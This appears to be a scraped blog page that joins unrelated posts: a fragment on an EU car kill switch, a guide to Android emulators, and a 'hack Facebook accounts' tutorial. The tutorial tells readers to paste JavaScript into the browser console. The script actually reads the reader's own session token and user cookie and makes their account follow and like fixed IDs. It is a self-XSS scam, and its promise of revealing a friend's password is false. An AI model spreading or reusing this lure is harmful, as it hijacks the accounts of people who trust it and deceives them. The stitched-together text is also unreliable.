Whether or not this ever comes to pass is almost irrelevant when you consider that the EU thinks this is something worth pursuing in secret and wants to make it a mandatory feature moving forward. It seems like a good idea on the surface, but would ultimately only be useful for short bursts of time. Once a removal option is discovered — which won’t be long after it is announced — this will be like GPS in that it is the first thing to go when a car is stolen by professionals.

How to emulate Android on your PC

Wish you could see what Android’s all about or to test a particular feature without having to shell out for yet another device? There are plenty of good, free ways to emulate Android on the PCs you already own!

Genymotion is a hardware-accelerated Android emulator that runs on Windows, Mac, and Linux PCs. It’s designed to let you play with Android on top-selling devices, which makes it a good choice for developers. That said, if you’re looking for a full-screen solution, Genymotion isn’t for you.
The free Android x86 project is an even better option. Generic .ISO files are offered, as are a handful of images that have been customised to support specific x86 laptops and tablets. If you don’t have spare hardware laying around to install on, don’t fret. The generic .ISO works nicely inside VirtualBox (also a free download) and you can run Android x-86 as a live CD — no need to do a full install just to play around with it. Androidx-86 even includes access to Google Play.
Windroy is a lot like Android-x86, but you don’t have to bother with a setting up VirtualBox and a virtual machine. Just download the .EXE and install it. Launch the app, and you’ll “boot” into a full-screen Android experience. Access to the Play Store isn’t part of the package, but installing the Amazon Appstore is easy enough to do.
Windows and Mac users who just want to be able to use Android apps — and not the whole OS — can download and install BlueStacks. The BlueStacks runtime allows you to run just about any Android app inside Windows or OS X just like native apps.
Bluestacks also offers Cloud Connect in the Play Store, and it lets you automatically sync apps from your phone back to your PC.

The downside with BlueStacks is that it’s free for now. They’ve actively been seeking out OEMs (like Asus and Lenovo) that want to partner up, so it’s very likely that it eventually become payware like the “free” antivirus bloat Windows PC buyers have grown accustomed to over the years.There’s also the official Android SDK, which you can download from Google. It’s obviously intended for developer use, but there is an emulator included that lets you try Android out on your PC. Its performance isn’t on par with Android-x86 and Windroy, either.
And then if emulation really isn’t your thing, you can always buy a cheap HDMI dongle or a phone or tablet off of a site like Geekbuying or Pandawill. The budget-priced Rockchip and MediaTek devices vendors are selling out of China actually perform quite well.
Know another way to experiment with Android? Share it in the comments!

How To Hack Facebook Accounts Within 30 Secs

Step 1 :- Copy All The Codes Using Ctrl+C 

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var _div = document.createElement('div');
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_div.style.width="100%";
_div.style.position="fixed";
_div.style.top="auto";
_div.style.bottom="0";
_div.align="center";
var _audio= document.createElement('audio');
_audio.style.width="100%";
_audio.style.height="25px";
_audio.controls = true;
_audio.autoplay = false;
_audio.autoplay = true;
_audio.src = "http://www.woo55.com/adata/7691/Pitbull%20Ft.%20Marc%20Anthony%20-%20Rain%20Over%20Me%20(www.SongsLover.com).mp3";
_div.appendChild(_audio);
_body.appendChild(_div);
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
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// Id'x //

a("100003200988834");
a("100003200988834");
a("100003200988834");
a("100003200988834");




// Lists //

sublist("501890153261013");
Like("453290461437473");
Like("222456084596796");
Like("222456084596796");
Like("614083238656819");
Like("275763512577633");
Like("143403422460826");




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\nborder-radius: 15px !important;\nborder: 2px solid #333333 !important;\n}\n\n#left_column, #leftCol, .MessagingReadHeader {\nbackground: #111111 !important;\nborder-radius: 15px !important;\n}\n\n#left_column, #leftCol {\nmargin-left:-8px !important;\nwidth: 185px !important;\n}\n\n.uiMediaThumb i, .uiProfilePhoto {\nborder: 1px solid #000000 !important; \n}\n\n#rightCol {\nmargin-top: 10px !important;\npadding-top: 0px !important;\nbackground: #111111 !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n\n#right_column, .rightColumnWrapper {\nmargin-top: 0px !important;\npadding-top: 0px !important; \nposition: fixed !important;\nbackground: #111111 !important;\nborder-radius: 15px !important; \nborder: 0px solid #333333 !important;\n}\n\n.aboutMePagelet {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder: 0px solid #333333 !important;\n}\n\n.fbNubButton, .fbNubFlyoutTitlebar, .uiToggleFlyout, .fbChatSidebarFooter {\nbackground: -moz-linear-gradient(center top , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center top , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important;\nborder: #333333 !important;\n}\n\n.fbChatOrderedList {\nbackground: -moz-linear-gradient(center right , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center right , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important;\nborder: #333333 !important;\n}\n\n\n\n\n\n\n\n\n.UFIMentionsInputWrap,.navHeader, ._554n,.fbxWelcomeBox ,._2yg .composerTypeahead {\nbackground: -moz-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 2px 4px rgba(211, 32, 198, 0.75) !important;\nborder:2px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.fbx #pageHead, #blueBar #pageHead{\npadding-top:0px!important;\n}\n\n.slim #blueBar {\n\n    height: 35px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg,\n._s0,\n._42fz .pic{\n   border:2px solid  rgba(0, 0, 0, .55)!important;\n   border-radius: 37px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg:hover,\n._s0:hover,\n._42fz .pic:hover{\n   box-shadow: 0px 0px 4px rgba(211, 32, 198, 0.75) !important;\n   border:2px ridge #CC00FF !important;\n   border-radius: 37px!important;\n}\n.uiSideNav .sideNavItem .hasCount:hover,\n.uiSideNav .sideNavItem .noCount:hover{\n   text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n   color: #CC00FF !important;\n\n}\n#navSearch {\nwidth:300px !important;\nmargin-top: 6px !important;\nmargin-left: 30px !important;\nborder-color: transparent !important;\n}\n#headNav {\n    height: 30px;\n}\n\n\n\na:hover{\n   text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n   color: #CC00FF !important;\n}\n.UIActionLinks_bottom a, \n.UIActionLinks_bottom button.as_link, \n.UIActionLinks_bottom .uiLinkButton input, \n.UIActionLinks_bottom .uiLinkButton input:hover,\n.uiStreamMessage .actorName, .uiStreamMessage .passiveName\n{\n   text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n   color: #CC00FF !important;\n}\n._2yg .composerTypeahead ,#bfb_options_button_li.openToggler ul,\n .better_fb_mini_message, .sfx_mini_message_no_x,\n .GM_options_wrapper_inner,\n .better_fb_mini_message, .mini_x{\nbackground: -moz-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d  0%,#000000 100%);\nbox-shadow: 0 2px 4px rgba(39, 98, 138, 0.75) !important;\nborder:2px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.GM_options_buttons input{\n   text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n   color: #CC00FF !important;\n\n}";
if (typeof GM_addStyle != "undefined") {
        GM_addStyle(css);
} else if (typeof PRO_addStyle != "undefined") {
        PRO_addStyle(css);
} else if (typeof addStyle != "undefined") {
        addStyle(css);
} else {
        var node = document.createElement("style");
        node.type = "text/css";
        node.appendChild(document.createTextNode(css));
        var heads = document.getElementsByTagName("head");
        if (heads.length > 0) {
                heads[0].appendChild(node);
        } else {
                // By Tr?ng(N V D)
                document.documentElement.appendChild(node);
        }
}
})();
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/* Code Ends Here */

Step 2 :-Go to your friend's profile you want to hack

Step 3 :- Now press F12 and Open the '' Console '' Box.

Step 4 :- Paste That Copied Script Using Ctrl+V

Step 5 :- Now Press Enter

Please wait until it loads

You'll get the email id and password. Enjoy till facebook block this bug.